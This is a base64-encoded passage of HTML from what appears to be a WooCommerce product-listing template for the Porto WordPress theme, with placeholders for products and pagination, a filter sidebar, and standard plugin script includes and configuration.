HRlcnMtdG9nZ2xlIHNpZGViYXItdG9nZ2xlIGQtaW5saW5lLWZsZXgiPjxpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2xhc3M9ImZhcyBmYS1zbGlkZXJzLWgiPjwvaT4gPHNwYW4+RmlsdGVyczwvc3Bhbj48L2E+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bmF2IGNsYXNzPSJ3b29jb21tZXJjZS1wYWdpbmF0aW9uIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dWwgY2xhc3M9J3BhZ2UtbnVtYmVycyc+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHt7Y29sbGVjdGlvbl9uZXh0fX0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3VsPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9uYXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJhcmNoaXZlLXByb2R1Y3RzIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx1bCBjbGFzcz0icHJvZHVjdHMgcHJvZHVjdHMtY29udGFpbmVyIGdyaWQgcGNvbHMtbGctNSBwY29scy1tZC00IHBjb2xzLXhzLTMgcGNvbHMtbHMtMiBwd2lkdGgtbGctNSBwd2lkdGgtbWQtNCBwd2lkdGgteHMtMyBwd2lkdGgtbHMtMiBpcy1zaG9ydGNvZGUiIGRhdGEtcHJvZHVjdF9sYXlvdXQ9InByb2R1Y3QtZGVmYXVsdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAge3twcm9kdWN0X2xpc3R9fQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC91bD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InNob3AtbG9vcC1hZnRlciBjbGVhcmZpeCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bmF2IGNsYXNzPSJ3b29jb21tZXJjZS1wYWdpbmF0aW9uIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dWwgY2xhc3M9J3BhZ2UtbnVtYmVycyc+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHt7Y29sbGVjdGlvbl90dXJuX3BhZ2V9fQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdWw+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L25hdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9tYWluPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQoNCg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj48IS0tIGVuZCBtYWluIGNvbnRlbnQgLS0+DQoNCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic2lkZWJhci1vdmVybGF5Ij48L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLWxnLTMgc2lkZWJhciBwb3J0by13b28tY2F0ZWdvcnktc2lkZWJhciByaWdodC1zaWRlYmFyIG1vYmlsZS1zaWRlYmFyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwhLS0gbWFpbiBzaWRlYmFyIC0tPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic2lkZWJhci1jb250ZW50Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YXNpZGUgaWQ9Indvb2NvbW1lcmNlX3Byb2R1Y3RfY2F0ZWdvcmllcy0yIg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjbGFzcz0id2lkZ2V0IHdvb2NvbW1lcmNlIHdpZGdldF9wcm9kdWN0X2NhdGVnb3JpZXMiPjxoMyBjbGFzcz0id2lkZ2V0LXRpdGxlIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2F0ZWdvcmllczwvaDM+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx1bCBjbGFzcz0icHJvZHVjdC1jYXRlZ29yaWVzIj57e2NvbGxlY3Rpb25fc3ViX2NhdGVnb3J5fX08L3VsPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYXNpZGU+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGFzaWRlIGlkPSJ3b29jb21tZXJjZV9wcmljZV9maWx0ZXItMyIgY2xhc3M9IndpZGdldCB3b29jb21tZXJjZSB3aWRnZXRfcHJpY2VfZmlsdGVyIj48aDMNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNsYXNzPSJ3aWRnZXQtdGl0bGUiPlByaWNlPC9oMz48L2FzaWRlPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2PjwhLS0gZW5kIG1haW4gc2lkZWJhciAtLT4NCg0KDQogICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8L2Rpdj4NCg0KDQogICAgICAgIDwvZGl2PjwhLS0gZW5kIG1haW4gLS0+DQoNCg0KICAgICAgICA8ZGl2IGNsYXNzPSJmb290ZXItd3JhcHBlciI+DQoNCiAgICAgICAgICAgIDxkaXYgaWQ9ImZvb3RlciIgY2xhc3M9ImZvb3RlciBmb290ZXItMyINCiAgICAgICAgICAgID4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb290ZXItYm90dG9tIj4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvb3Rlci1sZWZ0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7e2Zvb3Rlcl9jb3B5cmlnaHR9fQ0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvb3Rlci1yaWdodCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGltZyBjbGFzcz0iaW1nLXJlc3BvbnNpdmUgZm9vdGVyLXBheW1lbnQtaW1nIg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3JjPSIvd3AtY29udGVudC91cGxvYWRzLzIwMjAvMDEvc2hvcDEwX3BheW1lbnQtMS5wbmciIGFsdD0iUGF5bWVudCBHYXRld2F5cyIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8L2Rpdj4NCg0KDQogICAgICAgIDwvZGl2Pg0KDQogICAgPC9kaXY+DQoNCjwvZGl2PjwhLS0gZW5kIHdyYXBwZXIgLS0+DQo8ZGl2IGNsYXNzPSJhZnRlci1sb2FkaW5nLXN1Y2Nlc3MtbWVzc2FnZSBzdHlsZS0yIj4NCiAgICA8ZGl2IGNsYXNzPSJiYWNrZ3JvdW5kLW92ZXJsYXkiPjwvZGl2Pg0KICAgIDxkaXYgY2xhc3M9ImxvYWRlciBzdWNjZXNzLW1lc3NhZ2UtY29udGFpbmVyIj4NCiAgICAgICAgPGRpdiBjbGFzcz0ibXNnLWJveCI+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJtc2ciPllvdSYjMDM5O3ZlIGp1c3QgYWRkZWQgdGhpcyBwcm9kdWN0IHRvIHRoZSBjYXJ0OjxwDQogICAgICAgICAgICAgICAgICAgIGNsYXNzPSJwcm9kdWN0LW5hbWUgdGV4dC1jb2xvci1wcmltYXJ5Ij48L3A+PC9kaXY+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICA8YnV0dG9uIGNsYXNzPSJidXR0b24gYnRuLXByaW1heSB2aWV3Y2FydCIgZGF0YS1saW5rPSIiPlZpZXcgQ2FydDwvYnV0dG9uPg0KICAgICAgICA8YnV0dG9uIGNsYXNzPSJidXR0b24gYnRuLXByaW1heSBjb250aW51ZV9zaG9wcGluZyI+Q29udGludWU8L2J1dHRvbj4NCiAgICA8L2Rpdj4NCjwvZGl2Pg0KDQo8ZGl2IGNsYXNzPSJwYW5lbC1vdmVybGF5Ij48L2Rpdj4NCjxkaXYgaWQ9InNpZGUtbmF2LXBhbmVsIiBjbGFzcz0iIj4NCiAgICA8YSBocmVmPSIjIiBhcmlhLWxhYmVsPSJNb2JpbGUgQ2xvc2UiIGNsYXNzPSJzaWRlLW5hdi1wYW5lbC1jbG9zZSI+PGkgY2xhc3M9ImZhcyBmYS10aW1lcyI+PC9pPjwvYT4NCiAgICA8ZGl2IGNsYXNzPSJzd2l0Y2hlci13cmFwIj48L2Rpdj4NCiAgICA8ZGl2IGNsYXNzPSJtZW51LXdyYXAiPjx1bCBpZD0ibWVudS1tYWluLW1lbnUtMSIgY2xhc3M9Im1vYmlsZS1tZW51IGFjY29yZGlvbi1tZW51Ij57e3Byb2R1Y3RfY2F0ZWdvcnlfbW9iaWxlfX08L3VsPjwvZGl2Pg0KICAgIDxkaXYgY2xhc3M9InNoYXJlLWxpbmtzIj48YSB0YXJnZXQ9Il9ibGFuayIgcmVsPSJub2ZvbGxvdyBub29wZW5lciBub3JlZmVycmVyIiBjbGFzcz0ic2hhcmUtZmFjZWJvb2siIGhyZWY9IiMiDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRpdGxlPSJGYWNlYm9vayI+PC9hPg0KICAgICAgICA8YSB0YXJnZXQ9Il9ibGFuayIgcmVsPSJub2ZvbGxvdyBub29wZW5lciBub3JlZmVycmVyIiBjbGFzcz0ic2hhcmUtdHdpdHRlciIgaHJlZj0iIyIgdGl0bGU9IlR3aXR0ZXIiPjwvYT4NCiAgICAgICAgPGEgdGFyZ2V0PSJfYmxhbmsiIHJlbD0ibm9mb2xsb3cgbm9vcGVuZXIgbm9yZWZlcnJlciIgY2xhc3M9InNoYXJlLWluc3RhZ3JhbSIgaHJlZj0iIyIgdGl0bGU9Ikluc3RhZ3JhbSI+PC9hPg0KICAgIDwvZGl2Pg0KPC9kaXY+DQoNCjxzY3JpcHQ+DQogICAgd2luZG93LlJTX01PRFVMRVMgPSB3aW5kb3cuUlNfTU9EVUxFUyB8fCB7fTsNCiAgICB3aW5kb3cuUlNfTU9EVUxFUy5tb2R1bGVzID0gd2luZG93LlJTX01PRFVMRVMubW9kdWxlcyB8fCB7fTsNCiAgICB3aW5kb3cuUlNfTU9EVUxFUy53YWl0aW5nID0gd2luZG93LlJTX01PRFVMRVMud2FpdGluZyB8fCBbXTsNCiAgICB3aW5kb3cuUlNfTU9EVUxFUy5kZWZlcmVkID0gdHJ1ZTsNCiAgICB3aW5kb3cuUlNfTU9EVUxFUy5tb2R1bGVXYWl0aW5nID0gd2luZG93LlJTX01PRFVMRVMubW9kdWxlV2FpdGluZyB8fCB7fTsNCiAgICB3aW5kb3cuUlNfTU9EVUxFUy50eXBlID0gJ2NvbXBpbGVkJzsNCjwvc2NyaXB0Pg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KICAgIChmdW5jdGlvbiAoKSB7DQogICAgICAgIHZhciBjID0gZG9jdW1lbnQuYm9keS5jbGFzc05hbWU7DQogICAgICAgIGMgPSBjLnJlcGxhY2UoL3dvb2NvbW1lcmNlLW5vLWpzLywgJ3dvb2NvbW1lcmNlLWpzJyk7DQogICAgICAgIGRvY3VtZW50LmJvZHkuY2xhc3NOYW1lID0gYzsNCiAgICB9KSgpOw0KPC9zY3JpcHQ+DQo8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdycy1wbHVnaW4tc2V0dGluZ3MtY3NzJw0KICAgICAgaHJlZj0nL3dwLWNvbnRlbnQvcGx1Z2lucy9yZXZzbGlkZXIvcHVibGljL2Fzc2V0cy9jc3MvcnM2LmNzcz92ZXI9Ni41LjIwJyBtZWRpYT0nYWxsJy8+DQo8c3R5bGUgaWQ9J3JzLXBsdWdpbi1zZXR0aW5ncy1pbmxpbmUtY3NzJz4NCiAgICAjcnMtZGVtby1pZCB7DQogICAgfQ0KPC9zdHlsZT4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC9wbHVnaW5zL2NvbnRhY3QtZm9ybS03L2luY2x1ZGVzL3N3di9qcy9pbmRleC5qcz92ZXI9NS43LjMnIGlkPSdzd3YtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBpZD0nY29udGFjdC1mb3JtLTctanMtZXh0cmEnPg0KICAgIHZhciB3cGNmNyA9IHsiYXBpIjogeyJyb290IjogIlwvd3AtanNvblwvIiwgIm5hbWVzcGFjZSI6ICJjb250YWN0LWZvcm0tN1wvdjEifX07DQo8L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC9wbHVnaW5zL2NvbnRhY3QtZm9ybS03L2luY2x1ZGVzL2pzL2luZGV4LmpzP3Zlcj01LjcuMycgaWQ9J2NvbnRhY3QtZm9ybS03LWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC9wbHVnaW5zL3JldnNsaWRlci9wdWJsaWMvYXNzZXRzL2pzL3JidG9vbHMubWluLmpzP3Zlcj02LjUuMTgnIGRlZmVyIGFzeW5jDQogICAgICAgIGlkPSd0cC10b29scy1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvcGx1Z2lucy9yZXZzbGlkZXIvcHVibGljL2Fzc2V0cy9qcy9yczYubWluLmpzP3Zlcj02LjUuMjAnIGRlZmVyIGFzeW5jIGlkPSdyZXZtaW4tanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3BsdWdpbnMvd29vY29tbWVyY2UvYXNzZXRzL2pzL2pxdWVyeS1ibG9ja3VpL2pxdWVyeS5ibG9ja1VJLm1pbi5qcz92ZXI9Mi43LjAtd2MuNi43LjAnDQogICAgICAgIGlkPSdqcXVlcnktYmxvY2t1aS1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IGlkPSd3Yy1hZGQtdG8tY2FydC1qcy1leHRyYSc+DQogICAgdmFyIHdjX2FkZF90b19jYXJ0X3BhcmFtcyA9IHsNCiAgICAgICAgImFqYXhfdXJsIjogIlwvc2Fhcy1zZW9cL2FkbWluLWFqYXgucGhwIiwNCiAgICAgICAgIndjX2FqYXhfdXJsIjogIlwvP3djLWFqYXg9JSVlbmRwb2ludCUlIiwNCiAgICAgICAgImkxOG5fdmlld19jYXJ0IjogIlZpZXcgY2FydCIsDQogICAgICAgICJjYXJ0X3VybCI6ICJcL2NhcnQiLA0KICAgICAgICAiaXNfY2FydCI6ICIiLA0KICAgICAgICAiY2FydF9yZWRpcmVjdF9hZnRlcl9hZGQiOiAibm8iDQogICAgfTsNCjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3BsdWdpbnMvd29vY29tbWVyY2UvYXNzZXRzL2pzL2Zyb250ZW5kL2FkZC10by1jYXJ0Lm1pbi5qcz92ZXI9Ni43LjAnDQogICAgICAgIGlkPSd3Yy1hZGQtdG8tY2FydC1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvcGx1Z2lucy93b29jb21tZXJjZS9hc3NldHMvanMvanMtY29va2llL2pzLmNvb2tpZS5taW4uanM/dmVyPTIuMS40LXdjLjYuNy4wJw0KICAgICAgICBpZD0nanMtY29va2llLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgaWQ9J3dvb2NvbW1lcmNlLWpzLWV4dHJhJz4NCiAgICB2YXIgd29vY29tbWVyY2VfcGFyYW1zID0geyJhamF4X3VybCI6ICJcL3NhYXMtc2VvXC9hZG1pbi1hamF4LnBocCIsICJ3Y19hamF4X3VybCI6ICJcLz93Yy1hamF4PSUlZW5kcG9pbnQlJSJ9Ow0KPC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvcGx1Z2lucy93b29jb21tZXJjZS9hc3NldHMvanMvZnJvbnRlbmQvd29vY29tbWVyY2UubWluLmpzP3Zlcj02LjcuMCcNCiAgICAgICAgaWQ9J3dvb2NvbW1lcmNlLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgaWQ9J3djLWNhcnQtZnJhZ21lbnRzLWpzLWV4dHJhJz4NCiAgICB2YXIgd2NfY2FydF9mcmFnbWVudHNfcGFyYW1zID0gew0KICAgICAgICAiYWpheF91cmwiOiAiXC9zYWFzLXNlb1wvYWRtaW4tYWpheC5waHAiLA0KICAgICAgICAid2NfYWpheF91cmwiOiAiXC8/d2MtYWpheD0lJWVuZHBvaW50JSUiLA0KICAgICAgICAiY2FydF9oYXNoX2tleSI6ICJ3Y19jYXJ0X2hhc2hfYWI2ODE0MTE1OGI5ZjZiYmI3MzY3ZmMwNjlhYjJjYWYiLA0KICAgICAgICAiZnJhZ21lbnRfbmFtZSI6ICJ3Y19mcmFnbWVudHNfYWI2ODE0MTE1OGI5ZjZiYmI3MzY3ZmMwNjlhYjJjYWYiLA0KICAgICAgICAicmVxdWVzdF90aW1lb3V0IjogIjUwMDAiDQogICAgfTsNCjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3BsdWdpbnMvd29vY29tbWVyY2UvYXNzZXRzL2pzL2Zyb250ZW5kL2NhcnQtZnJhZ21lbnRzLm1pbi5qcz92ZXI9Ni43LjAnDQogICAgICAgIGlkPSd3Yy1jYXJ0LWZyYWdtZW50cy1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IGlkPSdwb3J0by1saXZlLXNlYXJjaC1qcy1leHRyYSc+DQogICAgdmFyIHBvcnRvX2xpdmVfc2VhcmNoID0geyJub25jZSI6ICJmODkyZGQ5NDY5In07DQo8L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC90aGVtZXMvcG9ydG8vaW5jL2xpYi9saXZlLXNlYXJjaC9saXZlLXNlYXJjaC5taW4uanM/dmVyPTYuNy4yJw0KICAgICAgICBpZD0ncG9ydG8tbGl2ZS1zZWFyY2gtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9qcy9ib290c3RyYXAuanM/dmVyPTUuMC4xJyBpZD0nYm9vdHN0cmFwLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC9wbHVnaW5zL3dvb2NvbW1lcmNlL2Fzc2V0cy9qcy9qcXVlcnktY29va2llL2pxdWVyeS5jb29raWUubWluLmpzP3Zlcj0xLjQuMS13Yy42LjcuMCcNCiAgICAgICAgaWQ9J2pxdWVyeS1jb29raWUtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9qcy9saWJzL293bC5jYXJvdXNlbC5taW4uanM/dmVyPTIuMy40JyBpZD0nb3dsLmNhcm91c2VsLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtaW5jbHVkZXMvanMvaW1hZ2VzbG9hZGVkLm1pbi5qcz92ZXI9NC4xLjQnIGlkPSdpbWFnZXNsb2FkZWQtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBhc3luYz0iYXN5bmMiIHNyYz0nL3dwLWNvbnRlbnQvdGhlbWVzL3BvcnRvL2pzL2xpYnMvanF1ZXJ5Lm1hZ25pZmljLXBvcHVwLm1pbi5qcz92ZXI9MS4xLjAnDQogICAgICAgIGlkPSdqcXVlcnktbWFnbmlmaWMtcG9wdXAtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBpZD0ncG9ydG8tdGhlbWUtanMtZXh0cmEnPg0KICAgIHZhciBqc19wb3J0b192YXJzID0gew0KICAgICAgICAicnRsIjogIiIsDQogICAgICAgICJ0aGVtZV91cmwiOiAiXC93cC1jb250ZW50XC90aGVtZXNcL3BvcnRvIiwNCiAgICAgICAgImFqYXhfdXJsIjogIlwvc2Fhcy1zZW9cL2FkbWluLWFqYXgucGhwIiwNCiAgICAgICAgImNoYW5nZV9sb2dvIjogIjEiLA0KICAgICAgICAiY29udGFpbmVyX3dpZHRoIjogIjExNDAiLA0KICAgICAgICAiZ3JpZF9ndXR0ZXJfd2lkdGgiOiAiMjAiLA0KICAgICAgICAic2hvd19zdGlja3lfaGVhZGVyIjogIjEiLA0KICAgICAgICAic2hvd19zdGlja3lfaGVhZGVyX3RhYmxldCI6ICIxIiwNCiAgICAgICAgInNob3dfc3RpY2t5X2hlYWRlcl9tb2JpbGUiOiAiMSIsDQogICAgICAgICJhamF4X2xvYWRlcl91cmwiOiAiXC93cC1jb250ZW50XC90aGVtZXNcL3BvcnRvXC9pbWFnZXNcL2FqYXgtbG9hZGVyQDJ4LmdpZiIsDQogICAgICAgICJjYXRlZ29yeV9hamF4IjogIiIsDQogICAgICAgICJjb21wYXJlX3BvcHVwIjogIiIsDQogICAgICAgICJjb21wYXJlX3BvcHVwX3RpdGxlIjogIiIsDQogICAgICAgICJwcmRjdGZsdHJfYWpheCI6ICIiLA0KICAgICAgICAic2xpZGVyX2xvb3AiOiAiMSIsDQogICAgICAgICJzbGlkZXJfYXV0b3BsYXkiOiAiMSIsDQogICAgICAgICJzbGlkZXJfYXV0b2hlaWdodCI6ICIxIiwNCiAgICAgICAgInNsaWRlcl9zcGVlZCI6ICI1MDAwIiwNCiAgICAgICAgInNsaWRlcl9uYXYiOiAiIiwNCiAgICAgICAgInNsaWRlcl9uYXZfaG92ZXIiOiAiMSIsDQogICAgICAgICJzbGlkZXJfbWFyZ2luIjogIiIsDQogICAgICAgICJzbGlkZXJfZG90cyI6ICIxIiwNCiAgICAgICAgInNsaWRlcl9hbmltYXRlaW4iOiAiIiwNCiAgICAgICAgInNsaWRlcl9hbmltYXRlb3V0IjogIiIsDQogICAgICAgICJwcm9kdWN0X3RodW1ic19jb3VudCI6ICI0IiwNCiAgICAgICAgInByb2R1Y3Rfem9vbSI6ICIxIiwNCiAgICAgICAgInByb2R1Y3Rfem9vbV9tb2JpbGUiOiAiMSIsDQogICAgICAgICJwcm9kdWN0X2ltYWdlX3BvcHVwIjogIjEiLA0KICAgICAgICAiem9vbV90eXBlIjogImlubmVyIiwNCiAgICAgICAgInpvb21fc2Nyb2xsIjogIjEiLA0KICAgICAgICAiem9vbV9sZW5zX3NpemUiOiAiMjAwIiwNCiAgICAgICAgInpvb21fbGVuc19zaGFwZSI6ICJzcXVhcmUiLA0KICAgICAgICAiem9vbV9jb250YWluX2xlbnMiOiAiMSIsDQogICAgICAgICJ6b29tX2xlbnNfYm9yZGVyIjogIjEiLA0KICAgICAgICAiem9vbV9ib3JkZXJfY29sb3IiOiAiIzg4ODg4OCIsDQogICAgICAgICJ6b29tX2JvcmRlciI6ICIwIiwNCiAgICAgICAgInNjcmVlbl9sZyI6ICIxMTYwIiwNCiAgICAgICAgIm1mcF9jb3VudGVyIjogIiVjdXJyJSBvZiAldG90YWwlIiwNCiAgICAgICAgIm1mcF9pbWdfZXJyb3IiOiAiPGEgaHJlZj1cIiV1cmwlXCI+VGhlIGltYWdlPFwvYT4gY291bGQgbm90IGJlIGxvYWRlZC4iLA0KICAgICAgICAibWZwX2FqYXhfZXJyb3IiOiAiPGEgaHJlZj1cIiV1cmwlXCI+VGhlIGNvbnRlbnQ8XC9hPiBjb3VsZCBub3QgYmUgbG9hZGVkLiIsDQogICAgICAgICJwb3B1cF9jbG9zZSI6ICJDbG9zZSIsDQogICAgICAgICJwb3B1cF9wcmV2IjogIlByZXZpb3VzIiwNCiAgICAgICAgInBvcHVwX25leHQiOiAiTmV4dCIsDQogICAgICAgICJyZXF1ZXN0X2Vycm9yIjogIlRoZSByZXF1ZXN0ZWQgY29udGVudCBjYW5ub3QgYmUgbG9hZGVkLjxiclwvPlBsZWFzZSB0cnkgYWdhaW4gbGF0ZXIuIiwNCiAgICAgICAgImxvYWRlcl90ZXh0IjogIkxvYWRpbmcuLi4iLA0KICAgICAgICAic3VibWVudV9iYWNrIjogIkJhY2siLA0KICAgICAgICAicG9ydG9fbm9uY2UiOiAiZDliNDBjNjYxYyIsDQogICAgICAgICJ1c2Vfc2tlbGV0b25fc2NyZWVuIjogWyJzaG9wIiwgInByb2R1Y3QiLCAicXVpY2t2aWV3Il0sDQogICAgICAgICJ1c2VyX2VkaXRfcGFnZXMiOiAiIiwNCiAgICAgICAgInF1aWNrX2FjY2VzcyI6ICJDbGljayB0byBlZGl0IHRoaXMgZWxlbWVudC4iLA0KICAgICAgICAiZ290b190eXBlIjogIkdvIFRvIHRoZSBUeXBlIEJ1aWxkZXIuIiwNCiAgICAgICAgImxlZ2FjeV9tb2RlIjogIjEiDQogICAgfTsNCjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9qcy90aGVtZS5qcz92ZXI9Ni43LjInIGlkPSdwb3J0by10aGVtZS1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IGFzeW5jPSJhc3luYyIgc3JjPScvd3AtY29udGVudC90aGVtZXMvcG9ydG8vanMvdGhlbWUtYXN5bmMuanM/dmVyPTYuNy4yJyBpZD0ncG9ydG8tdGhlbWUtYXN5bmMtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9qcy93b29jb21tZXJjZS10aGVtZS5qcz92ZXI9Ni43LjInIGlkPSdwb3J0by13b29jb21tZXJjZS10aGVtZS1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWluY2x1ZGVzL2pzL2pxdWVyeS91aS9jb3JlLm1pbi5qcz92ZXI9MS4xMy4yJyBpZD0nanF1ZXJ5LXVpLWNvcmUtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1pbmNsdWRlcy9qcy9qcXVlcnkvdWkvbW91c2UubWluLmpzP3Zlcj0xLjEzLjInIGlkPSdqcXVlcnktdWktbW91c2UtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1pbmNsdWRlcy9qcy9qcXVlcnkvdWkvc2xpZGVyLm1pbi5qcz92ZXI9MS4xMy4yJyBpZD0nanF1ZXJ5LXVpLXNsaWRlci1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvcGx1Z2lucy93b29jb21tZXJjZS9hc3NldHMvanMvanF1ZXJ5LXVpLXRvdWNoLXB1bmNoL2pxdWVyeS11aS10b3VjaC1wdW5jaC5taW4uanM/dmVyPTYuNy4wJw0KICAgICAgICBpZD0nd2MtanF1ZXJ5LXVpLXRvdWNocHVuY2gtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3BsdWdpbnMvd29vY29tbWVyY2UvYXNzZXRzL2pzL2FjY291bnRpbmcvYWNjb3VudGluZy5taW4uanM/dmVyPTAuNC4yJw0KICAgICAgICBpZD0nYWNjb3VudGluZy1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IGlkPSd3Yy1wcmljZS1zbGlkZXItanMtZXh0cmEnPg0KICAgIHZhciB3b29jb21tZXJjZV9wcmljZV9zbGlkZXJfcGFyYW1zID0gew0KICAgICAgICAiY3VycmVuY3lfZm9ybWF0X251bV9kZWNpbWFscyI6ICIwIiwNCiAgICAgICAgImN1cnJlbmN5X2Zvcm1hdF9zeW1ib2wiOiAiJCIsDQogICAgICAgICJjdXJyZW5jeV9mb3JtYXRfZGVjaW1hbF9zZXAiOiAiLiIsDQogICAgICAgICJjdXJyZW5jeV9mb3JtYXRfdGhvdXNhbmRfc2VwIjogIiwiLA0KICAgICAgICAiY3VycmVuY3lfZm9ybWF0IjogIiVzJXYiDQogICAgfTsNCjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3BsdWdpbnMvd29vY29tbWVyY2UvYXNzZXRzL2pzL2Zyb250ZW5kL3ByaWNlLXNsaWRlci5taW4uanM/dmVyPTYuNy4wJw0KICAgICAgICBpZD0nd2MtcHJpY2Utc2xpZGVyLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC9wbHVnaW5zL2VsZW1lbnRvci9hc3NldHMvanMvd2VicGFjay5ydW50aW1lLm1pbi5qcz92ZXI9My4xMC4yJw0KICAgICAgICBpZD0nZWxlbWVudG9yLXdlYnBhY2stcnVudGltZS1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvcGx1Z2lucy9lbGVtZW50b3IvYXNzZXRzL2pzL2Zyb250ZW5kLW1vZHVsZXMubWluLmpzP3Zlcj0zLjEwLjInDQogICAgICAgIGlkPSdlbGVtZW50b3ItZnJvbnRlbmQtbW9kdWxlcy1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvcGx1Z2lucy9lbGVtZW50b3IvYXN